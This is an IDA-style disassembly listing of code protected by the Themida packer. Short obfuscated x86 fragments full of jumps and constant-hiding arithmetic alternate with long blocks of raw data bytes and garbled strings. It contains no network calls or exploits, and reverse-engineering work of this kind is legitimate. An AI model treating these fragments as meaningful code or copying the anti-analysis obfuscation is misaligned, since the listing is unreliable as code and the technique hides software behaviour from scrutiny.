		dd 651B0054h, 0B5910053h, 0E2E80053h, 5AE40053h, 81740053h
		dd 0B4320053h, 66BD0053h, 0B98A0053h, 0BFEF0053h, 0F5580053h
		dd 5C750053h, 985F0053h, 0E900053h, 0C9A10054h,	0B87B0053h
		dd 21E70053h, 72230054h, 67630053h, 0CA3A0053h,	0F22A0053h
		dd 6D4F0053h, 0B1580053h, 0C7B50053h, 0F1BB0053h, 1B370053h
		dd 89860054h, 0A1210053h
		db 53h,	0
; ---------------------------------------------------------------------------


loc_535A7A:				; CODE XREF: Themida_:00562935j
					; Themida_:00562FE2j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61F7D8Ah
		mov	eax, edi
		add	edi, 61F7AA2h
		cmp	eax, [edi+2Ch]
		jnz	short loc_535A98
		jmp	short loc_535AAB
; ---------------------------------------------------------------------------


loc_535A98:				; CODE XREF: Themida_:00535A94j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_535AA7
; ---------------------------------------------------------------------------


loc_535AA2:				; CODE XREF: Themida_:00535AA9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_535AA7:				; CODE XREF: Themida_:00535AA0j
		or	ecx, ecx
		jnz	short loc_535AA2


loc_535AAB:				; CODE XREF: Themida_:00535A96j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_535AB8:				; CODE XREF: Themida_:00535ABFj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_535AB8


loc_535AC1:				; CODE XREF: Themida_:loc_5366E4j
					; Themida_:00537B82j ...
		lodsb
		push	ecx
		push	ebx
		mov	bh, 0F0h
		mov	cl, 6Fh
		add	cl, bh
		pop	ebx
		sub	cl, 68h
		xor	cl, 76h
		xor	cl, 3Bh
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		jmp	loc_53FB62
; ---------------------------------------------------------------------------
		dd 582434FFh, 52E18951h, 711BFFBAh, 5C28162h, 19D8EE4h
		dd 0A66DE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_535AFE:				; CODE XREF: Themida_:0053F967j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		shl	edx, 1
		shr	edx, 8
		shl	edx, 3
		add	edx, 24F70218h
		xor	edx, 2801A668h
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_541664
; ---------------------------------------------------------------------------
		db 66h,	81h, 34h
		dd 6609E024h, 0F1816659h, 505809E0h, 4100E9h, 5FF82900h
		dd 5E73E952h, 0C6810000h, 4, 5C243487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_539897
; ---------------------------------------------------------------------------


loc_535B75:				; CODE XREF: Themida_:0053FEB9j
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_53B37B
; ---------------------------------------------------------------------------


loc_535B7E:				; CODE XREF: Themida_:0053F5F2j
		mov	esi, 409A384Fh
		sub	esi, 3FF8BF14h
		jmp	loc_53D0F5
; ---------------------------------------------------------------------------


loc_535B8E:				; CODE XREF: Themida_:0053F735j
		add	eax, edi
		jmp	loc_53A148
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0D1h
		dd 10DCB3Fh, 0DAE95AD3h, 320000ACh, 34302434h, 18CFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_535BAE:				; CODE XREF: Themida_:005411DEj
		sub	ecx, 2B8362CFh
		mov	edi, [esp]
		jmp	loc_536B0A
; ---------------------------------------------------------------------------
aRsc		db 'Réç',0Dh,0
		align 2
		dw 0EC83h
		dd 240C8904h, 395FBE56h, 0A1B950A0h, 0E9D81D43h, 0B414h
		dd 772BE95Ch, 0E0890000h, 4DF5E9h, 4335D00h, 25DAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_535BEE:				; CODE XREF: Themida_:00541919j
		mov	esi, ecx
		pop	ecx
		add	edi, esi
		pop	esi
		jmp	loc_540DB1
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C3h
		dd 72CB5DCCh, 0EB81EB01h, 72CB5DCCh, 5BDBEB81h,	15D10E8h
		dd 1EACE9C3h, 0C2810000h, 4, 8303E9h
		db 0
; ---------------------------------------------------------------------------


loc_535C21:				; CODE XREF: Themida_:00540AF6j
		mov	eax, 72226004h
		and	eax, 16A94928h
		jmp	loc_542107
; ---------------------------------------------------------------------------
		dd 497DEB81h, 0FCE95968h, 0B100000Dh, 0AB6E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_535C42:				; CODE XREF: Themida_:0053BD1Ej
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_54205C
; ---------------------------------------------------------------------------
aSV		db '^é·‚',0
		dd 4BA00h, 0D0010000h, 6793E9h,	0E9CEFE00h, 6CCBh
; ---------------------------------------------------------------------------


loc_535C64:				; CODE XREF: Themida_:00537099j
					; Themida_:0053A284j
		push	esi
		push	edi
		jmp	loc_53EA28
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 64FEE9h, 2434FF00h, 8124048Bh, 4C4h, 1EE95300h, 0F7000006h
		dd 0BAEE81DEh, 0D133042Ah, 4CC681E6h, 89560818h, 0E8895EF5h
		dd 81242C8Bh, 4C4h, 4C300500h, 4E3505ABh, 8132A6B3h, 6E390AEDh
		dd 81C50110h, 6E390AC5h, 0EC835810h, 242C8904h,	42474FFh
		dd 81242C8Bh, 4C4h, 24048F00h, 123F685Ch, 14890000h, 0A685E924h
		dd 835B0000h, 148704EAh, 0C895C24h, 81E18924h, 4C1h, 1632E900h
		dd 74FF0000h, 348B0424h, 4C48124h, 0E9000000h, 0C0D2h
		dd 8904EC83h, 0EDB1240Ch, 0E902E1C0h, 4A7Bh, 2D806853h
		dd 47E96FB7h, 53000005h, 42474FFh, 734BE9h, 0F9F68100h
		dd 16F0A53h, 1606E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_535D3E:				; CODE XREF: Themida_:005386D1j
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_53C866
; ---------------------------------------------------------------------------


loc_535D54:				; CODE XREF: Themida_:0053D949j
		sub	ch, bh
		add	ch, 29h
		push	bx
		mov	bh, 52h
		sub	ch, bh
		mov	bx, [esp]
		jmp	loc_53B6C6
; ---------------------------------------------------------------------------
		dd 0E9E18951h, 901h, 83240C89h,	8F5404ECh, 0EDE92404h
		dd 6600009Eh, 0B3241C89h, 2C922C55h, 9B2CE8h, 49B04D8h
		dd 9E951E8h, 87000070h,	248B240Ch, 240C8924h, 0C82828B1h
		dd 284D0459h, 514D2CD8h, 0FD8660B5h, 382CE9h
		db 0
; ---------------------------------------------------------------------------


loc_535DB5:				; CODE XREF: Themida_:0053D35Bj
		sub	eax, esi
		pop	esi
		jmp	loc_53AE4C
; ---------------------------------------------------------------------------
		db 0B8h, 9Dh, 2Ah
		dd 0C229DE9Eh, 0BA525358h, 6C4567F2h, 5D712DBBh, 5AD3298Ch
		dd 9689E9h, 0E9545C00h,	1F0Dh, 5159CE89h, 906EA7B9h, 59CE3154h
		dd 11FFC681h, 0F68169B1h, 0DF055997h, 348BF709h, 4C48124h
		dd 0F7000000h, 51504FD7h, 694FCD68h, 2434FF0Eh,	6E9E9h
		dd 2474FF00h, 0B5E95E04h, 660000ABh, 9C241CF7h,	0FFFC98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_535E29:				; CODE XREF: Themida_:00539883j
		pop	ebp
		add	ecx, esi
		jmp	loc_538712
; ---------------------------------------------------------------------------


loc_535E31:				; CODE XREF: Themida_:0053A585j
		shl	bl, 4
		jmp	loc_536B02
; ---------------------------------------------------------------------------
		db 59h,	28h, 0D8h
		dd 672C0D04h, 7B25266h,	6FE9D028h, 300000AEh, 4EC81D8h
		dd 89000000h, 0B4502414h, 0FEC4FEBDh, 80CCFECCh, 51E9E3E4h
		dd 5C000029h, 0E9240489h, 74A2h
; ---------------------------------------------------------------------------


loc_535E70:				; CODE XREF: Themida_:00537C31j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5368C4
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 1655E9h, 223BE00h, 0EE811A54h, 5E020765h, 48D7EE81h
		dd 0CE813EBCh, 3EB129Dh, 0C7DAF681h, 0F5214272h, 87F5815Eh
		dd 8143BA56h, 0B72B7AEDh, 0C5C58113h, 810D820Ah, 0FD169CC5h
		dd 3EDC1E7h, 8105EDC1h,	4052B5E5h, 8E5C17Ch, 9BD9E9h, 4C78100h
		dd 83000000h, 3C8704EFh, 24895C24h, 24048124h, 4, 0C1AFE95Eh
		dd 8B660000h, 0EC812404h, 4, 0E9242C89h, 3212h,	698DEA81h
		dd 0DA013386h, 698DC281h, 0A8E93386h, 810000C0h, 0B708A3E9h
		dd 8BCF29F6h, 0C483240Ch, 0E9FD0104h, 8EDBh, 0FFFB94E9h
		dd 0ABF381FFh, 0C10E7D32h, 0F38105E3h, 3BDE1D58h, 2D5BD801h
		dd 113D66C9h, 2C0835Fh,	64A9E9h, 0D2EA8100h, 0E9679341h
		dd 2541h, 0B5EE815Dh, 17F7F41h,	0B5B951CEh, 17F7F41h, 0FAE959CEh
		dd 4000071h, 53690445h,	4EC81h,	4890000h, 88BDB424h, 24048BE7h
		dd 0E904C483h, 3A4Eh
; ---------------------------------------------------------------------------


loc_535F8C:				; CODE XREF: Themida_:00541A97j
		mov	eax, esp
		add	eax, 4
		jmp	loc_53D3ED
; ---------------------------------------------------------------------------
		dd 0C9BA525Bh, 4A241C3Ch, 16A7F281h, 7CE92940h,	0F700000Ah
		dd 6BF281D2h, 0E9EC74EBh, 4F4Bh, 2B2CEB81h, 0BA525E08h
		dd 25031655h, 9FE9E2D1h, 5000094h, 128832FEh, 6205BE56h
		dd 80E96DF8h, 6600008Eh, 0DEE9008Fh, 68FFFFFAh,	6150h
		dd 0FF241C89h, 8B042474h, 8953241Ch, 2093E9E3h,	14330000h
		dd 24143124h, 5C241433h, 9F12E9h
		db 0
; ---------------------------------------------------------------------------


loc_536009:				; CODE XREF: Themida_:00536D42j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5423B7
; ---------------------------------------------------------------------------


loc_53601D:				; CODE XREF: Themida_:0053E835j
		xor	al, bl
		mov	bx, [esp]
		jmp	loc_53CE94
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704E8h, 0C895C24h, 7DBE5624h
		dd 57405F34h, 0F989F789h, 0E9D15E5Fh, 13A2BE56h, 0F10140EAh
		dd 5224348Bh, 0C3E9E289h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53605B:				; CODE XREF: Themida_:005385ABj
		push	ebp
		mov	ebp, 0B8E32DFh
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		sub	ecx, 0B8E32DFh
		pop	edx
		jmp	loc_53D271
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 61CCE900h, 8F540000h, 4832404h, 815F0424h, 4C7h
		dd 4C78100h, 87000000h,	875C243Ch, 248B241Ch, 242CD324h
		dd 0FA1BE99Ch, 8143FFFFh, 0EB1C22C3h, 24E3815Bh, 681DA646h
		dd 6631h, 0E9240C89h, 8C93h, 679AED81h,	0EDC17107h, 0D8C58105h
		dd 2913C73Eh, 0BB535DE8h, 5F3C7445h, 29EB8143h,	502426Fh
		dd 647927D2h, 0D22DD829h, 0E9647927h, 74AFh, 4C481h, 0C2800000h
		dd 0D7885377h, 0AC44E9h, 5D02900h, 2018093Bh, 0E92434FFh
		dd 3437h, 348BF501h, 5E545624h,	4C681h,	0C6830000h, 24348704h
		dd 2C5815Ch, 55000000h,	42474FFh, 5D2434FFh, 8F04C483h
		dd 0E95C2404h, 7D0h
; ---------------------------------------------------------------------------


loc_536140:				; CODE XREF: Themida_:0053CD0Bj
		sub	ecx, esi
		pop	esi
		shr	ecx, 2
		sub	ecx, 183FE901h
		jmp	loc_53BCD6
; ---------------------------------------------------------------------------


loc_536151:				; CODE XREF: Themida_:005377ADj
		shr	ebp, 7
		push	esi
		mov	esi, 606064A5h
		jmp	loc_53BAE1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0B3E95000h, 810000B7h,	1C0B38EBh, 36F3811Eh, 813B7E73h
		dd 63516BEBh, 7EF38120h, 29B8AEE4h, 241C8BDAh, 104C483h
		dd 24148BD3h, 8704C483h, 0CFE9241Ch, 81000062h,	4ECh, 240C8900h
		dd 89E9DEB5h, 83000054h, 0FF5704C4h, 5F042474h,	8B24048Fh
		dd 0D3662424h, 0E99C240Ch, 0FFFFF8FDh, 6624248Bh, 9C240409h
		dd 0FFF8F0E9h, 0E9DA21FFh, 0B16Fh
; ---------------------------------------------------------------------------


loc_5361D8:				; CODE XREF: Themida_:0053BEDBj
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		xchg	edi, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_53A254
; ---------------------------------------------------------------------------


loc_5361ED:				; CODE XREF: Themida_:00537661j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_53F716
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 4
		dd 0F8BBE987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_536206:				; CODE XREF: Themida_:00539FB9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_53F68C
; ---------------------------------------------------------------------------


loc_53622C:				; CODE XREF: Themida_:0054178Cj
		xor	[esp], edi
		jmp	loc_53BED7
; ---------------------------------------------------------------------------
		dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 53BAh, 5B2434FFh
		dd 6804C483h, 4688h, 89243489h,	4C681E6h, 83000000h, 348704C6h
		dd 24248B24h, 2A88E952h, 815B0000h, 717FF4C3h, 4EC81CBh
		dd 89000000h, 0B951243Ch, 3D06705h, 59B8E9h, 48B6600h
		dd 0A3A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_536292:				; CODE XREF: Themida_:00538721j
		add	ecx, 35955185h
		push	2F2Fh
		mov	[esp], edx
		jmp	loc_5401AA
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 55h
		dd 4BDh, 10A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5362B2:				; CODE XREF: Themida_:005415CBj
		sub	eax, ebp
		pop	ebp
		jmp	loc_53D7F4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48158h,	68000000h, 5FBEh, 68243C89h, 7726h
		dd 50242489h, 4B8h, 24448100h, 8470B04h, 1318E90Fh, 8B660000h
		dd 0AE92404h, 55000014h, 620559BDh, 0DBBD5525h,	110E85Bh
		dd 0F8F3E9EBh, 0BF57FFFFh, 0A2D0925h, 0E0C7814Fh, 1F5D2F6h
		dd 14335FFAh, 24143124h, 5C241433h, 0B65253h, 0F3300EB3h
		dd 4EE9515Ah, 55000023h, 0B9A1E9h, 32FF6400h, 0FFF784E9h
		dd 48F54FFh, 1973E924h,	0B8500000h, 17660246h, 0FFFFFF05h
		dd 2E6AE9FFh, 0E2800000h, 0EAEA80D1h, 45AD000h,	282004EFh
		dd 2C202CD8h, 0E9E62CEFh, 6F12h, 5B66DA00h, 0B5E9D588h
		dd 5C00000Ah, 81E78957h, 4C7h, 0A629E900h, 0C4810000h
		dd 4, 0B04FE9h,	24048700h, 24048F5Ch, 4278E9h
		db 0
; ---------------------------------------------------------------------------


loc_5363A1:				; CODE XREF: Themida_:0053F02Cj
		push	3DFh
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_542159
; ---------------------------------------------------------------------------
		db 86h,	0C7h, 86h
		dd 525066F8h, 0D088FA88h, 461AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5363CA:				; CODE XREF: Themida_:0053EE8Bj
		pop	eax
		push	edx
		mov	edx, 203C1E3Ch
		jmp	loc_53BA8A
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 4EC8124h, 0E9000000h, 0A988h, 83242C8Bh, 0C9E904C4h
		dd 0AC000066h, 0FFFA52E9h, 0FF5805FFh, 0C629262Eh, 0E1895158h
		dd 4C181h, 0B4E90000h, 5000037h, 3E0C707Ch, 88497D05h
		dd 61F1E9AEh, 0EF810000h, 4C64F0h, 0BCE9FE01h, 5D0000BCh
		dd 85E9EB29h, 59FFFFFBh, 3AABBB53h, 0EB8136BDh,	5CF077D7h
		dd 0DBF7D3F7h, 3D2FC381h, 0D9012633h, 7C2E95Bh,	0C4810000h
		dd 2, 81E38953h, 4C3h, 0B608E900h, 0AFB50000h, 807CF580h
		dd 8950A5CDh, 405E0h, 0E8830000h, 24043302h, 33240431h
		dd 248B2404h, 4896624h,	2C83B024h, 2904A5h, 805866C5h
		dd 0E95265C5h, 0BE0Eh
; ---------------------------------------------------------------------------


loc_53649C:				; CODE XREF: Themida_:0053DE84j
		pop	ebp
		push	eax
		mov	eax, 0BA1E9C4h
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		jmp	loc_539080
; ---------------------------------------------------------------------------
aLH		db '‹$$h ]',0
		dd 9518E900h, 0D6F70000h, 0F681DEF7h, 76C32FB0h, 348BF101h
		dd 4C48124h, 0E9000000h, 8FE8h,	0C158C231h, 0EAC108E2h
		dd 3DF28103h, 0E9700E4Dh, 422h,	5B71B4BBh, 0CFE94363h
		dd 810000B9h, 4C7h, 3F2E900h, 83590000h, 0E18104C4h, 28EA6289h
		dd 6664E181h, 0E9810BFAh, 0E71F37A6h, 16E9C889h, 0FF0000AEh
		dd 669D1C77h, 24041858h, 0F597E99Ch, 0CB28FFFFh, 4AC9E9h
		dd 56E95300h, 5E000076h, 69BA5251h, 0C17DA267h,	0E0E902EAh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_536547:				; CODE XREF: Themida_:0053C55Bj
		add	eax, 17F41529h
		add	eax, 580CEB36h
		add	eax, edi
		push	dword ptr [eax]
		jmp	loc_540CED
; ---------------------------------------------------------------------------
		dw 0CDFEh
		dd 24ED80h, 240C8BE8h, 2804C483h, 5ADC2CF0h, 48EC6853h
		dd 4890000h, 981E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53657A:				; CODE XREF: Themida_:0053B4E3j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		sub	esp, 4
		jmp	loc_539B70
; ---------------------------------------------------------------------------


loc_536590:				; CODE XREF: Themida_:00537EECj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_53C8E4
; ---------------------------------------------------------------------------


loc_53659C:				; CODE XREF: Themida_:00537B2Fj
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	ecx
		push	2E9F6645h
		jmp	loc_541FD2
; ---------------------------------------------------------------------------
aBWUbJbsiiSra	db 'Áê',7,'Â`WÇu¦Bs‰‰ÐéR€',0
		align 4


loc_5365C4:				; CODE XREF: Themida_:00538207j
		xor	al, dh
		jmp	loc_537D55
; ---------------------------------------------------------------------------
		db 1
		dd 0F9895AD7h, 0E9243C8Bh, 3A55h, 505E8C1h, 1, 88F5B02Dh
		dd 58C589D9h, 4246C01h,	81242C8Bh, 4C4h, 24148B00h, 0FFFD8DE9h
		dd 0E9555BFFh, 860Fh
; ---------------------------------------------------------------------------


loc_536604:				; CODE XREF: Themida_:0053FE18j
		pop	ax
		add	al, 58h
		sub	al, cl
		push	ebx
		mov	bh, 0D8h
		not	bh
		shr	bh, 8
		shr	bh, 6
		or	bh, 0B4h
		shr	bh, 8
		xor	bh, 58h
		sub	al, bh
		mov	ebx, [esp]
		jmp	loc_53A075
; ---------------------------------------------------------------------------
		dd 0FFF494E9h, 0E94CB3FFh, 2AC2h, 88E38059h, 0E94BF380h
		dd 57BAh, 97316FBDh, 0C1DDF722h, 0EDC104E5h, 2E5C105h
		dd 0AB43B951h, 0CD3134A2h, 8BEB2959h, 0C483242Ch, 4079E904h
		dd 0C2810000h, 4, 0FFFA02E9h, 4C181FFh,	81000000h, 4C1h
		dd 74FF5100h, 0C8B0424h, 4C48124h, 0E9000000h, 20CEh, 104C483h
		dd 24148BD6h, 116FE950h, 0C4810000h, 4,	3CA3B850h, 0FD0D3466h
		dd 0E95F4F15h, 0B776h, 59CE315Bh, 6951E9h, 2434FF00h, 7B685759h
		dd 54000078h, 0E924048Fh, 16CCh
; ---------------------------------------------------------------------------


loc_5366D0:				; CODE XREF: Themida_:00537F37j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_536D58
; ---------------------------------------------------------------------------


loc_5366E4:				; CODE XREF: Themida_:00539B31j
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 0E9h
		dd 4C57h, 0E924048Bh, 9EBCh, 58E9C800h,	66000092h, 0E9240C8Bh
		dd 842Fh, 2FE0C781h, 0BB530465h, 68A22F89h, 2D5BDF01h
		dd 36CF57EDh, 0D0E9F801h, 8F0000AFh, 665C2404h,	53240C8Bh
		dd 0FECBE954h, 0CE81FFFFh, 4E5F7540h, 0B317E946h, 2C810000h
		dd 212A9E24h, 0BE565D0Dh, 14E081Ch, 464ED6F7h, 0E3F68146h
		dd 0E9256414h, 29BEh, 9AE9C301h, 510000A6h, 0C181E189h
		dd 4, 423DE9h, 53FA0400h, 8904EC83h, 0F9E9240Ch, 59000026h
		dd 0F581D5F7h, 59B0E3CBh, 0E95DE801h, 73C1h
; ---------------------------------------------------------------------------


loc_536790:				; CODE XREF: Themida_:0053D4AEj
		pop	ebp
		mov	ebp, ecx
		pop	ecx
		and	ecx, ebp
		jmp	loc_53FB06
; ---------------------------------------------------------------------------
		db 5Bh
		dd 78AE681h, 0BA520660h, 0E4271E0h, 0A6E9D631h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5367AF:				; CODE XREF: Themida_:0053DD1Dj
		push	esi
		jmp	loc_53F673
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0E5h
		dd 0C13FFB5Dh, 0BD5507EAh, 45AF3D46h, 0C15DEA29h, 0CA8108E2h
		dd 49C876BFh, 2830B850h, 0C22907FAh, 4FB9E9h, 240C3300h
		dd 0E9240C31h, 34D7h, 136332BBh, 5BDE8959h, 0C15EF321h
		dd 99E907EBh, 0BA000041h, 0EB68FDh, 7CFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_536805:				; CODE XREF: Themida_:0053A3D2j
		pop	esp
		push	ebp
		jmp	loc_53C1FB
; ---------------------------------------------------------------------------
		dd 8704C283h, 285C2414h, 664204F8h, 9D68575Bh, 0E9000032h
		dd 4A12h, 81E18951h, 4ECh, 242C8900h, 6394BF57h, 0EFC17633h
		dd 76EF8102h, 0E961557Dh, 0B328h, 5A64B850h, 0D4078B7h
		dd 66EF2328h, 0FBB9E940h, 3C87FFFFh, 4F73E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53685E:				; CODE XREF: Themida_:00537915j
		pop	esp
		mov	[esp], eax
		jmp	loc_541786
; ---------------------------------------------------------------------------


loc_536867:				; CODE XREF: Themida_:005393B9j
		xor	edx, 7849132Ch
		jmp	loc_53E17A
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 9EA1E95Bh,	0B5680000h, 8900002Bh, 0B868240Ch
		dd 596ADE05h, 4955F181h, 0BE561D27h, 3CE13F5Dh,	4EFFE9h
		dd 598BB900h, 0C9810B8Eh, 46E05559h, 8D0BE9h, 28206800h
		dd 0C890000h, 6EB0E924h, 24680000h, 0E900005Ch,	5A2Fh
; ---------------------------------------------------------------------------


loc_5368C4:				; CODE XREF: Themida_:00535E79j
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 45341AF5h
		shl	ebp, 6
		dec	ebp
		dec	ebp
		add	ebp, 0B2F942C6h
		jmp	loc_53D635
; ---------------------------------------------------------------------------
		db 5Fh,	0C1h, 0E8h
		dd 52D0F708h, 0A65BE1BAh, 0E9D0094Ch, 317Fh, 4C781h, 3C870000h
		dd 66E95C24h, 31000021h, 1C33241Ch, 0FBA3E924h,	0E942FFFFh
		dd 78DBh, 2404FF66h, 0ACE3E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53691A:				; CODE XREF: Themida_:00536F60j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	66D14787h
		pop	edi
		sub	edi, 573006DEh
		sub	edi, 70C757ADh
		not	edi
		add	edi, 0E922180Ch
		mov	ecx, edi
		pop	edi
		jmp	loc_53C6E0
; ---------------------------------------------------------------------------
aBPdbpbQxSY	db 'ϯdBpÇŸå[Íé²Y',0
		align 4
		dd 0B60F59CBh, 87048FC0h, 7899E9h, 48B6600h, 34136824h
		dd 3CE90000h, 5600006Bh, 612DB9BEh, 65C2E948h, 3C8B0000h
		dd 4C48124h, 55000000h,	506A3EBDh, 0C6C58154h, 1ABAF95h
		dd 0EC835DEFh, 41A1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5369A2:				; CODE XREF: Themida_:00538D2Fj
		mov	ebp, edi
		jmp	loc_5378E8
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 6A9Bh, 4247431h,	8324348Bh, 48B04C4h, 8B545724h
		dd 0C481243Ch, 4, 17D1B951h, 9BE9699Eh,	0F6000032h, 66D7F6D7h
		dd 28D6B050h, 2E19E9C7h, 4B80000h, 1000000h, 0BB5358C7h
		dd 4, 575BDF01h, 42474FFh, 24048F5Fh, 11E9525Ch
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_536A07:				; CODE XREF: Themida_:00539A4Aj
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_53F4AB
; ---------------------------------------------------------------------------
		dd 1512EF81h, 0A6E93866h, 100002Dh, 0CF015AD7h,	2A6FEF81h
		dd 2BE90D5Ch, 100004Ah,	7DC381D3h, 5A596849h, 4EC8355h
		dd 1535E9h, 24048B00h, 72D7E9h,	0BB535E00h, 4, 0A584E9h
		dd 0F05FE900h, 5D54FFFFh, 75DBE9h, 23E95B00h, 87000005h
		dd 15C240Ch, 78BE56C2h,	816F3219h, 5D1D57F6h, 0EAEA8107h
		dd 114662Ch, 0EAC281F2h, 5E14662Ch, 2CB1EA81h, 0C281500Ch
		dd 669E2030h, 0FFF020E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_536AA1:				; CODE XREF: Themida_:0053E0FEj
		sub	edx, 5DA874ECh
		add	edx, 782E3E7Ch
		mov	ebp, edx
		pop	edx
		sub	ebp, 0F85824DAh
		sub	edx, 262B0E7Dh
		add	edx, ebp
		add	edx, 262B0E7Dh
		jmp	loc_53A74A
; ---------------------------------------------------------------------------
aISg		db '‰,$ég#',0
		db 0
; ---------------------------------------------------------------------------


loc_536AD1:				; CODE XREF: Themida_:0053F38Aj
		pop	ebp
		and	edi, edx
		pop	edx
		xor	edi, 10503404h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		pop	eax
		jmp	loc_53CA7A
; ---------------------------------------------------------------------------
		dd 5C240487h, 4C481h, 0C2890000h, 5AD03158h, 512C68h, 8C92E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_536B02:				; CODE XREF: Themida_:00535E34j
		sub	esp, 4
		jmp	loc_537770
; ---------------------------------------------------------------------------


loc_536B0A:				; CODE XREF: Themida_:00535BB7j
		add	esp, 4
		and	eax, ecx
		pop	ecx
		jmp	loc_539846
; ---------------------------------------------------------------------------
		dd 4BDh, 4EC8100h, 89000000h, 8B5E242Ch, 8951242Ch, 8DE9E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_536B32:				; CODE XREF: Themida_:0054176Cj
		neg	eax
		sub	esp, 4
		jmp	loc_53F73A
; ---------------------------------------------------------------------------
aSS_5		db 9,'Óé)s',0
		dw 6600h
		dd 5524048Bh, 242C8B54h, 4C481h, 0C5810000h, 4,	4F05E9h
		db 0
; ---------------------------------------------------------------------------


loc_536B5D:				; CODE XREF: Themida_:0053F757j
		add	eax, ecx
		jmp	loc_539651
; ---------------------------------------------------------------------------


loc_536B64:				; CODE XREF: Themida_:00538E19j
		add	eax, ecx
		push	ebx
		jmp	loc_53F27E
; ---------------------------------------------------------------------------
		dd 263FBA52h, 0D6310BB5h, 35E6815Ah, 81374D6Dh,	150F68F6h
		dd 0E9F78910h, 6EFFh, 34FFD789h, 54565A24h, 0AB87E95Eh
		dd 51530000h, 0E99CB050h, 33CBh, 0B3D9E955h, 8B660000h
		dd 9768240Ch, 0E9000048h, 9954h, 2BBh, 0E9DE0100h, 8301h
		dd 31243433h, 34332434h, 4D35C24h, 0EEE99C24h, 5FFFFEEh
		dd 3A043C4Fh, 0A7E9D829h, 8700007Ch, 248B243Ch,	49666824h
		dd 14890000h, 0E9575524h, 1E3Ch, 42474FFh, 5E2434FFh, 9638E9h
		dd 0A8EA8100h, 1248B0Bh, 0A8C281FAh, 0E9248B0Bh, 9D87h
		dd 3E20B850h, 0E8C1107Ch, 36A53506h, 0BA520F33h, 76850224h
